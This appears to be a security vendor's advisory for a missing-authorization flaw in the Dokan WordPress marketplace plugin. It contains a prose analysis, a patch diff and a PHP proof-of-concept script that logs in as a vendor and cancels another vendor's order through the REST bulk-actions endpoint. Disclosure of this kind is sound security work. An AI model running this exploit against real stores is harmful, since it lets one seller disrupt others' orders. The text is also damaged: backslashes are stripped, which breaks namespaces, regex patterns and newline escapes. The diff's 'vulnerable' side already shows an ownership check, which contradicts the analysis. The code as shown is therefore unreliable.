Published : August 8, 2026

CVE-2026-66699: Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy <= 5.0.10 Missing Authorization PoC, Patch Analysis & Rule

Plugin dokan-lite
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 5.0.10
Patched Version 5.0.11
Disclosed July 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66699:

The Dokan plugin for WordPress, versions up to and including 5.0.10, contains a missing authorization vulnerability that allows authenticated vendors to perform unauthorized actions on orders, products, and downloads. This issue is present in multiple REST API controllers and admin functions. The vulnerability has a CVSS score of 4.3, indicating a moderate severity issue that requires an authenticated user with a vendor or custom role to exploit.

The root cause is a failure to validate ownership or capability on several backend operations. In includes/REST/OrderControllerV2.php, the process_orders_bulk_action function lacked proper ownership validation, allowing a vendor to bulk update any order. The grant_order_downloads function similarly did not verify that a vendor was the author of the product before granting download access. The revoke_order_downloads function failed to confirm that the permission ID being revoked belonged to the specified order. Additionally, the CatalogMode/Dashboard/ProductBulkEdit.php file allowed vendors to toggle catalog mode on any product, and the shared order functions in includes/Order/functions.php did not filter out orders that the current user could not manage.

An attacker with a vendor account can exploit these weaknesses through standard WordPress REST API requests. For instance, to change the status of another vendor’s order, an attacker can send a POST request to /wp-json/dokan/v1/orders/bulk_actions with the order_ids parameter containing the target order ID and the desired status. To grant download access, they can send a POST request to /wp-json/dokan/v1/orders/{id}/grant-download-access with a product_id belonging to another vendor. Revoking downloads can be done through the corresponding revoke endpoint. The catalog mode issue is exploited via a direct AJAX request to the admin-ajax.php endpoint with the appropriate action and product_ids parameters.

The patch introduces centralized checks to enforce ownership and role-based access. A new utility method, WeDevsDokanUtilitiesOrderUtil::current_user_can_manage_order, is created to provide a single rule for order bulk actions. This method checks if the user has the manage_woocommerce capability, and if not, verifies that the order belongs to the current vendor. The OrderControllerV2.php update now filters order IDs using this central method before processing. It also adds explicit checks to the grant_order_downloads and revoke_order_downloads functions to ensure the vendor owns the product or that the permission belongs to the specified order, respectively. The ProductBulkEdit.php file now includes a check for dokan_is_product_author before updating catalog mode, matching the checks in the sibling bulk-delete handler.

Successful exploitation allows a vendor to manipulate orders, products, and download permissions belonging to other vendors. This can lead to unauthorized status changes on orders, potentially disrupting business operations for other sellers. An attacker could also grant or revoke download access to digital products, leading to unauthorized access to sensitive digital goods and potential financial loss for the affected vendor. The catalog mode issue allows a vendor to change the visibility of another vendor’s products, causing them to be hidden from the storefront and impacting sales.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/dokan-lite/assets/js/components.asset.php
+++ b/dokan-lite/assets/js/components.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => '205e869678e1dea2b305');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'bb556cb9f96f1e27778a');
--- a/dokan-lite/assets/js/dokan-admin-dashboard.asset.php
+++ b/dokan-lite/assets/js/dokan-admin-dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-product-editor-utils', 'dokan-react-components', 'dokan-stores-core', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-stores-vendors', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => 'f47c83b5e58953ab56b1');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-product-editor-utils', 'dokan-react-components', 'dokan-stores-core', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-stores-vendors', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => '651ed920423d9b567b6c');
--- a/dokan-lite/assets/js/frontend.asset.php
+++ b/dokan-lite/assets/js/frontend.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-product-editor-utils', 'dokan-react-components', 'dokan-stores-core', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => '2345eba9988198b169b8');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-product-editor-utils', 'dokan-react-components', 'dokan-stores-core', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => '1140abc0a273906f6b32');
--- a/dokan-lite/assets/js/product-editor-utils.asset.php
+++ b/dokan-lite/assets/js/product-editor-utils.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('dokan-hooks', 'dokan-react-components', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => '68ba41f73f7d3ff03a68');
+<?php return array('dependencies' => array('dokan-hooks', 'dokan-react-components', 'dokan-stores-product-categories', 'dokan-stores-product-editor', 'dokan-stores-products', 'dokan-utilities', 'lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wc-components', 'wc-csv', 'wc-date', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => 'a63cdbf308256cdc5887');
--- a/dokan-lite/dokan-class.php
+++ b/dokan-lite/dokan-class.php
@@ -27,7 +27,7 @@
      *
      * @var string
      */
-    public $version = '5.0.10';
+    public $version = '5.0.11';

     /**
      * Instance of self
--- a/dokan-lite/dokan.php
+++ b/dokan-lite/dokan.php
@@ -3,7 +3,7 @@
  * Plugin Name: Dokan
  * Plugin URI: https://dokan.co/wordpress/
  * Description: An e-commerce marketplace plugin for WordPress. Powered by WooCommerce and weDevs.
- * Version: 5.0.10
+ * Version: 5.0.11
  * Author: Dokan Inc.
  * Author URI: https://dokan.co/wordpress/
  * Text Domain: dokan-lite
--- a/dokan-lite/includes/CatalogMode/Dashboard/ProductBulkEdit.php
+++ b/dokan-lite/includes/CatalogMode/Dashboard/ProductBulkEdit.php
@@ -72,6 +72,11 @@
         // loop through the products and update the status
         if ( ! empty( $product_ids ) ) {
             foreach ( $product_ids as $product_id ) {
+                // Only edit the vendor's own products; skip foreign ids, mirroring the sibling bulk-delete handler.
+                if ( ! dokan_is_product_author( $product_id ) ) {
+                    continue;
+                }
+
                 // get existing product data
                 $catalog_mode_data = Helper::get_catalog_mode_data_by_product( $product_id );
                 $count++;
--- a/dokan-lite/includes/Order/functions.php
+++ b/dokan-lite/includes/Order/functions.php
@@ -958,6 +958,9 @@
     $status = sanitize_text_field( wp_unslash( $postdata['status'] ) );
     $orders = array_map( 'absint', $postdata['bulk_orders'] );

+    // Guard ownership at the shared sink so every caller (REST bulk-actions + the legacy dashboard bulk form) is covered.
+    $orders = array_filter( $orders, [ WeDevsDokanUtilitiesOrderUtil::class, 'current_user_can_manage_order' ] );
+
     // -1 means bluk action option value
     $excluded_status = [ '-1', 'cancelled', 'refunded' ];

--- a/dokan-lite/includes/REST/OrderControllerV2.php
+++ b/dokan-lite/includes/REST/OrderControllerV2.php
@@ -5,6 +5,7 @@
 use WC_Customer_Download;
 use WC_Data_Store;
 use WC_Product;
+use WeDevsDokanUtilitiesOrderUtil;
 use WP_Error;
 use WP_REST_Server;

@@ -281,7 +282,9 @@

         foreach ( $product_ids as $product_id ) {
             $product = dokan()->product->get( $product_id );
-            if ( ! $product ) {
+
+            // Only grant downloads for the vendor's own products, never another vendor's files (admins/shop managers exempt).
+            if ( ! $product || ( ! current_user_can( 'manage_woocommerce' ) && ! dokan_is_product_author( $product_id ) ) ) {
                 continue;
             }

@@ -390,8 +393,24 @@
     public function revoke_order_downloads( $requests ) {
         $download_id   = $requests->get_param( 'download_id' );
         $product_id    = $requests->get_param( 'product_id' );
-        $order_id      = $requests->get_param( 'id' );
-        $permission_id = $requests->get_param( 'permission_id' );
+        $order_id      = absint( $requests->get_param( 'id' ) );
+        $permission_id = absint( $requests->get_param( 'permission_id' ) );
+
+        // Only this order's own permission may be revoked; a foreign or unknown id is rejected (WC throws on an unknown id, caught here).
+        try {
+            $download         = new WC_Customer_Download( $permission_id );
+            $belongs_to_order = $download->get_id() && $download->get_order_id() === $order_id;
+        } catch ( Exception $e ) {
+            $belongs_to_order = false;
+        }
+
+        if ( ! $belongs_to_order ) {
+            return new WP_Error(
+                'dokan_rest_download_permission_invalid_order',
+                esc_html__( 'Download permission does not belong to this order.', 'dokan-lite' ),
+                [ 'status' => 400 ]
+            );
+        }

         try {
             $data_store = WC_Data_Store::load( 'customer-download' );
@@ -414,18 +433,8 @@
      * @return WP_Error|WP_HTTP_Response|WP_REST_Response
      */
     public function process_orders_bulk_action( $requests ) {
-        $order_ids = $requests->get_param( 'order_ids' );
-
-        // A vendor may only bulk-update their own orders; foreign order ids are dropped (admins/shop managers are exempt).
-        if ( ! current_user_can( 'manage_woocommerce' ) ) {
-            $vendor_id = dokan_get_current_user_id();
-            $order_ids = array_filter(
-                $order_ids,
-                function ( $order_id ) use ( $vendor_id ) {
-                    return dokan_is_seller_has_order( $vendor_id, $order_id );
-                }
-            );
-        }
+        // A vendor may only bulk-update their own orders; admins/shop managers are exempt.
+        $order_ids = array_filter( (array) $requests->get_param( 'order_ids' ), [ OrderUtil::class, 'current_user_can_manage_order' ] );

         $data = [
             'bulk_orders' => $order_ids,
--- a/dokan-lite/includes/REST/ProductController.php
+++ b/dokan-lite/includes/REST/ProductController.php
@@ -973,10 +973,49 @@
             ];
         }

+        // WP_Query's `s` can't match SKUs — reuse WP Admin's WooCommerce product search so SKU, numeric-ID and variation-SKU lookups behave identically here.
+        if ( isset( $request['search'] ) && '' !== $request['search'] && 'product' === $this->post_type ) {
+            $data_store = WC_Data_Store::load( 'product' );
+
+            if ( $data_store->has_callable( 'search_products' ) ) {
+                /**
+                 * Filters the maximum number of products the product search may match.
+                 *
+                 * Null (default) keeps the match set unbounded so a vendor's own product is never
+                 * truncated away before the `author` constraint applies; large marketplaces can
+                 * bound the query at the cost of that guarantee.
+                 *
+                 * @since 5.0.11
+                 *
+                 * @param int|null $limit Maximum matches, or null for unlimited.
+                 */
+                $search_limit = apply_filters( 'dokan_rest_product_search_limit', null );
+
+                // All statuses searched — vendors must find their drafts; the query's `author` arg keeps results vendor-scoped.
+                $search_ids = array_filter( wp_parse_id_list( $data_store->search_products( wc_clean( $request['search'] ), '', true, true, $search_limit ) ) );
+
+                // Search runs last so any post__in set above (`include` param, on_sale) narrows the matches instead of being widened by them.
+                if ( ! empty( $args['post__in'] ) ) {
+                    $search_ids = array_intersect( $search_ids, wp_parse_id_list( $args['post__in'] ) );
+                }
+
+                // WP_Query ignores post__not_in once post__in is set, so honour `exclude` by hand.
+                if ( ! empty( $args['post__not_in'] ) ) {
+                    $search_ids = array_diff( $search_ids, wp_parse_id_list( $args['post__not_in'] ) );
+                }
+
+                // A zero-match search must return nothing — an empty post__in would drop the constraint and return the whole catalogue.
+                $args['post__in'] = ! empty( $search_ids ) ? $search_ids : [ 0 ];
+
+                unset( $args['s'] );
+            }
+        }
+
         /**
          * Filter the WP_Query args before executing the product listing query.
          * Allows Pro modules (e.g. product-adv, brands, subscription) to extend
-         * filtering for both v1 and v2 REST endpoints.
+         * filtering for both v1 and v2 REST endpoints. Note: `post__in` may already
+         * carry the search/on_sale constraints — callbacks should narrow it, never widen it.
          *
          * @since 5.0.0
          *
--- a/dokan-lite/includes/ThemeSupport/Astra.php
+++ b/dokan-lite/includes/ThemeSupport/Astra.php
@@ -14,9 +14,12 @@
      */
     public function __construct() {
         add_filter( 'astra_page_layout', [ $this, 'remove_sidebar' ] );
-
+
         // Payment request button conflict issue fix
         add_action( 'wp_enqueue_scripts', [ $this, 'payment_request_button_style' ], 100 );
+
+        // Dokan's `.dokan-btn` outranks Astra's global button preset, so store and store listing pages ignore the theme's button styling.
+        add_action( 'wp_enqueue_scripts', [ $this, 'inherit_theme_button_presets' ], 100 );
     }

     /**
@@ -35,24 +38,249 @@
     }

     public function payment_request_button_style() {
-
+
         /*
          * For payment request button conflict with Astra theme
          * for simple and variable products in single product page.
          */
         if (
-            dokan()->is_pro_exists()
-            && dokan_pro()->module->is_active( 'stripe_express' )
-            && defined('ASTRA_THEME_VERSION')
+            dokan()->is_pro_exists()
+            && dokan_pro()->module->is_active( 'stripe_express' )
+            && defined( 'ASTRA_THEME_VERSION' )
             && is_checkout()
         ) {
             $style = '.woocommerce div.product.product-type-simple form.cart,
             .woocommerce div.product .woocommerce-variation-add-to-cart {
             display: unset !important;
             }';
-
+
             wp_add_inline_style( 'dokan-style', $style );
         }
+    }
+
+    /**
+     * Bridge Astra's global button presets onto Dokan store and store listing page buttons.
+     *
+     * Astra emits its Global > Buttons preset on `button` / `.button` / `input[type="submit"]`,
+     * all of which Dokan's `.dokan-btn` rules outrank, so vendor store and store listing pages
+     * silently ignore the theme's button geometry while every other page on the site honours it.
+     *
+     * @since 5.0.11
+     *
+     * @return void
+     */
+    public function inherit_theme_button_presets() {
+        if ( ! dokan_is_store_page() && ! dokan_is_store_listing() ) {
+            return;
+        }
+
+        if ( ! $this->has_astra_button_helpers() ) {
+            return;
+        }
+
+        // Registered before the CSS bail-out so the admin's first-ever preset change already refreshes the preview.
+        if ( is_customize_preview() ) {
+            $this->sync_customizer_preview();
+        }
+
+        $css = $this->build_button_preset_css();
+
+        if ( '' === $css ) {
+            return;
+        }
+
+        wp_add_inline_style( 'dokan-style', $css );
+    }
+
+    /**
+     * Check that every Astra helper the button bridge reads through is loaded.
+     *
+     * @since 5.0.11
+     *
+     * @return bool
+     */
+    protected function has_astra_button_helpers() {
+        $helpers = [
+            'astra_get_option',
+            'astra_parse_css',
+            'astra_responsive_spacing',
+            'astra_responsive_font',
+            'astra_get_font_extras',
+            'astra_get_tablet_breakpoint',
+            'astra_get_mobile_breakpoint',
+        ];
+
+        foreach ( $helpers as $helper ) {
+            if ( ! function_exists( $helper ) ) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * Build the button preset CSS for every breakpoint Astra exposes.
+     *
+     * @since 5.0.11
+     *
+     * @return string
+     */
+    protected function build_button_preset_css() {
+        $preset = [
+            'padding'     => astra_get_option( 'theme-button-padding' ),
+            'radius'      => astra_get_option( 'button-radius-fields' ),
+            'font_size'   => astra_get_option( 'font-size-button' ),
+            'font_extras' => astra_get_option( 'font-extras-button' ),
+        ];
+
+        // Desktop is the unscoped baseline; Astra gates the smaller devices behind a max-width.
+        $breakpoints = [
+            'desktop' => '',
+            'tablet'  => absint( astra_get_tablet_breakpoint() ),
+            'mobile'  => absint( astra_get_mobile_breakpoint() ),
+        ];
+
+        $selector = $this->get_button_selector();
+        $css      = '';
+
+        foreach ( $breakpoints as $device => $max_width ) {
+            $css .= astra_parse_css( [ $selector => $this->get_button_properties( $preset, $device ) ], '', $max_width );
+        }
+
+        return $css;
+    }
+
+    /**
+     * Map the CSS properties the bridge emits for a single device.
+     *
+     * Empty values are left in place for Astra to drop, so a preset the admin never
+     * configured keeps falling through to Dokan's own styling instead of blanking it.
+     *
+     * @since 5.0.11
+     *
+     * @param array  $preset Astra button options keyed by the role they play here.
+     * @param string $device One of `desktop`, `tablet` or `mobile`.
+     *
+     * @return array
+     */
+    protected function get_button_properties( array $preset, $device ) {
+        // Astra's radius "sides" double as corners, clockwise from top-left.
+        $box_model = [
+            'padding-top'                => [ $preset['padding'], 'top' ],
+            'padding-right'              => [ $preset['padding'], 'right' ],
+            'padding-bottom'             => [ $preset['padding'], 'bottom' ],
+            'padding-left'               => [ $preset['padding'], 'left' ],
+            'border-top-left-radius'     => [ $preset['radius'], 'top' ],
+            'border-top-right-radius'    => [ $preset['radius'], 'right' ],
+            'border-bottom-right-radius' => [ $preset['radius'], 'bottom' ],
+            'border-bottom-left-radius'  => [ $preset['radius'], 'left' ],
+        ];
+
+        $properties = [];
+
+        foreach ( $box_model as $property => $source ) {
+            $properties[ $property ] = $this->sanitize_css_length( astra_responsive_spacing( $source[0], $source[1], $device ) );
+        }
+
+        $properties['font-size'] = $this->sanitize_css_length( astra_responsive_font( $preset['font_size'], $device ), true );
+
+        // Astra exposes a single, non-responsive line height for buttons.
+        if ( 'desktop' === $device ) {
+            $properties['line-height'] = $this->sanitize_css_length(
+                astra_get_font_extras( $preset['font_extras'], 'line-height', 'line-height-unit' )
+            );
+        }
+
+        return $properties;
+    }
+
+    /**
+     * Selector list that carries the preset onto Dokan's buttons.
+     *
+     * @since 5.0.11
+     *
+     * @return string
+     */
+    protected function get_button_selector() {
+        return implode(
+            ',',
+            [
+                // `html body` assumes no wrapper markup, so modals iziModal moves to <body> and Elementor store canvases stay covered.
+                'html body .dokan-btn:not(.dokan-btn-round)',
+                // Listing cards pin their padding behind an ID rule, and half a preset reads worse than none.
+                'html body #dokan-seller-listing-wrap .dokan-btn:not(.dokan-btn-round)',
+            ]
+        );
+    }
+
+    /**
+     * Refresh the customizer preview whenever a bridged button setting changes.
+     *
+     * Astra live-previews its own buttons over postMessage, which never reloads the preview
+     * frame, so the server-built bridge CSS would stay stale inside the customizer and store
+     * page buttons would look out of sync exactly where the admin is configuring them.
+     *
+     * @since 5.0.11
+     *
+     * @return void
+     */
+    protected function sync_customizer_preview() {
+        $settings = [
+            'theme-button-padding',
+            'button-radius-fields',
+            'font-size-button',
+            'font-extras-button',
+        ];
+
+        // A transport switch to 'refresh' would break Astra's instant preview everywhere else, so only this preview asks the pane to reload.
+        $script = sprintf(
+            "( function ( api ) {
+                var timeout;
+
+                var queueRefresh = function () {
+                    clearTimeout( timeout );
+                    timeout = setTimeout( function () {
+                        api.preview.send( 'refresh' );
+                    }, 400 );
+                };
+
+                api.bind( 'preview-ready', function () {
+                    %s.forEach( function ( key ) {
+                        api( 'astra-settings[' + key + ']', function ( setting ) {
+                            setting.bind( queueRefresh );
+                        } );
+                    } );
+                } );
+            }( wp.customize ) );",
+            wp_json_encode( $settings )
+        );
+
+        wp_add_inline_script( 'customize-preview', $script );
+    }
+
+    /**
+     * Whitelist a CSS length value.
+     *
+     * Astra returns theme option data verbatim when it is not a well formed responsive array,
+     * so nothing from the customizer is trusted before it reaches the style block.
+     *
+     * @since 5.0.11
+     *
+     * @param mixed $value              Raw value returned by an Astra helper.
+     * @param bool  $allow_rem_fallback Astra folds a rem fallback into pixel font sizes (`16px;font-size:1.0666rem`).
+     *
+     * @return string
+     */
+    protected function sanitize_css_length( $value, bool $allow_rem_fallback = false ) {
+        if ( ! is_scalar( $value ) ) {
+            return '';
+        }
+
+        $value   = trim( (string) $value );
+        $length  = '-?d*.?d+(px|em|rem|%|vh|vw|pt)?';
+        $pattern = '/^' . $length . ( $allow_rem_fallback ? '(;font-size:-?d*.?d+rem)?' : '' ) . '$/';

+        return preg_match( $pattern, $value ) ? $value : '';
     }
 }
--- a/dokan-lite/includes/Utilities/OrderUtil.php
+++ b/dokan-lite/includes/Utilities/OrderUtil.php
@@ -236,4 +236,25 @@
          */
         return (bool) apply_filters( 'dokan_email_show_customer_details', true, $order );
     }
+
+    /**
+     * Whether the current user may act on the given order in a bulk operation.
+     *
+     * A vendor may act only on their own orders; admins and shop managers (manage_woocommerce)
+     * may act on any order. Centralizing this keeps every bulk-order entry point — the REST
+     * bulk-actions endpoint and the legacy vendor-dashboard bulk form — guarded by one rule.
+     *
+     * @since 5.0.11
+     *
+     * @param int|string $order_id Order id to check.
+     *
+     * @return bool
+     */
+    public static function current_user_can_manage_order( $order_id ): bool {
+        if ( current_user_can( 'manage_woocommerce' ) ) {
+            return true;
+        }
+
+        return dokan_is_seller_has_order( dokan_get_current_user_id(), absint( $order_id ) );
+    }
 }
--- a/dokan-lite/templates/whats-new.php
+++ b/dokan-lite/templates/whats-new.php
@@ -4,6 +4,44 @@
  */
 $changelog = [
     [
+        'version'  => 'Version 5.0.11',
+        'released' => '2026-07-27',
+        'changes'  => [
+            'Improvement' => [
+                [
+                    'title'       => 'Vendors can now search for products by SKU as well as by name.',
+                    'description' => '',
+                ],
+            ],
+            'Fix' => [
+                [
+                    'title'       => 'Store-page buttons now respect the Astra theme's global button styling.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Downloadable files from the new product editor are now saved to WooCommerce's approved uploads directory.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Prevented vendors from changing the status of another vendor's orders through dashboard bulk actions.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Prevented vendors from granting download access to another vendor's files.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Prevented vendors from revoking download permissions on another vendor's orders.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Prevented vendors from toggling Catalog Mode on another vendor's products.',
+                    'description' => '',
+                ],
+            ],
+        ],
+    ],
+    [
         'version'  => 'Version 5.0.10',
         'released' => '2026-07-21',
         'changes'  => [
--- a/dokan-lite/vendor/composer/installed.php
+++ b/dokan-lite/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'wedevs/dokan',
-        'pretty_version' => 'v5.0.10',
-        'version' => '5.0.10.0',
-        'reference' => '40de5fae8f70009267e06f95c062539f256bc19c',
+        'pretty_version' => 'v5.0.11',
+        'version' => '5.0.11.0',
+        'reference' => 'e88574cd0f540c6c109d1403e54b190207ff0cc1',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -38,9 +38,9 @@
             'dev_requirement' => false,
         ),
         'wedevs/dokan' => array(
-            'pretty_version' => 'v5.0.10',
-            'version' => '5.0.10.0',
-            'reference' => '40de5fae8f70009267e06f95c062539f256bc19c',
+            'pretty_version' => 'v5.0.11',
+            'version' => '5.0.11.0',
+            'reference' => 'e88574cd0f540c6c109d1403e54b190207ff0cc1',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66699 - Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy <= 5.0.10 - Missing Authorization

/**
 * Proof of Concept for CVE-2026-66699
 * Demonstrates an authenticated vendor changing the status of another vendor's order.
 */

// --- Configuration ---
$target_url = 'https://example.com'; // Replace with the target WordPress site URL
$username = 'vendor_user'; // Username of the vendor account
$password = 'vendor_password'; // Password of the vendor account
$target_order_id = 1234; // The order ID belonging to another vendor
$new_status = 'cancelled'; // The status to set on the target order

// --- Functions ---

/**
 * Logs in as a user and returns the nonce and cookies for subsequent requests.
 */
function login($url, $user, $pass) {
    echo "[+] Logging in as $user...n";

    // Get login page and nonce
    $ch = curl_init($url . '/wp-login.php');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve_66699.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $login_page = curl_exec($ch);
    curl_close($ch);

    if (preg_match('/name="wp-submit"/', $login_page)) {
        preg_match('/name="_wpnonce" value="([^"]+)"/', $login_page, $matches);
        $nonce = $matches[1] ?? '';

        // Perform login
        $ch = curl_init($url . '/wp-login.php');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
            'log' => $user,
            'pwd' => $pass,
            'wp-submit' => 'Log In',
            'redirect_to' => $url . '/wp-admin/',
            'testcookie' => '1',
            '_wpnonce' => $nonce
        ]));
        curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve_66699.txt');
        curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_66699.txt');
        $response = curl_exec($ch);
        curl_close($ch);
        echo "[+] Logged in successfully.n";
        return true;
    }
    echo "[-] Login failed.n";
    return false;
}

/**
 * Sends a request to the Dokan bulk order action API.
 */
function bulk_change_order_status($url, $order_id, $status) {
    echo "[+] Attempting to change order #$order_id to status '$status'...n";

    // REST API endpoint for Dokan v1 orders bulk action
    $api_url = $url . '/wp-json/dokan/v1/orders/bulk_actions';

    $data = [
        'order_ids' => [$order_id],
        'status' => $status
    ];

    $ch = curl_init($api_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . get_nonce($url) // Get a REST API nonce
    ]);
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_66699.txt');
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($http_code === 200) {
        echo "[+] Success! Order status was modified.n";
        echo "[+] Response: $responsen";
    } else {
        echo "[-] Request failed with HTTP status: $http_coden";
        echo "[-] Response: $responsen";
    }
}

/**
 * Fetches a REST API nonce from the admin area.
 */
function get_nonce($url) {
    $ch = curl_init($url . '/wp-admin/');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_66699.txt');
    $admin_page = curl_exec($ch);
    curl_close($ch);

    if (preg_match('/"rest-nonce":"([^"]+)"/', $admin_page, $matches)) {
        return $matches[1];
    }
    return '';
}

// --- Main Execution ---
if (login($target_url, $username, $password)) {
    bulk_change_order_status($target_url, $target_order_id, $new_status);
} else {
    echo "[-] Exploit failed because login was unsuccessful.n";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.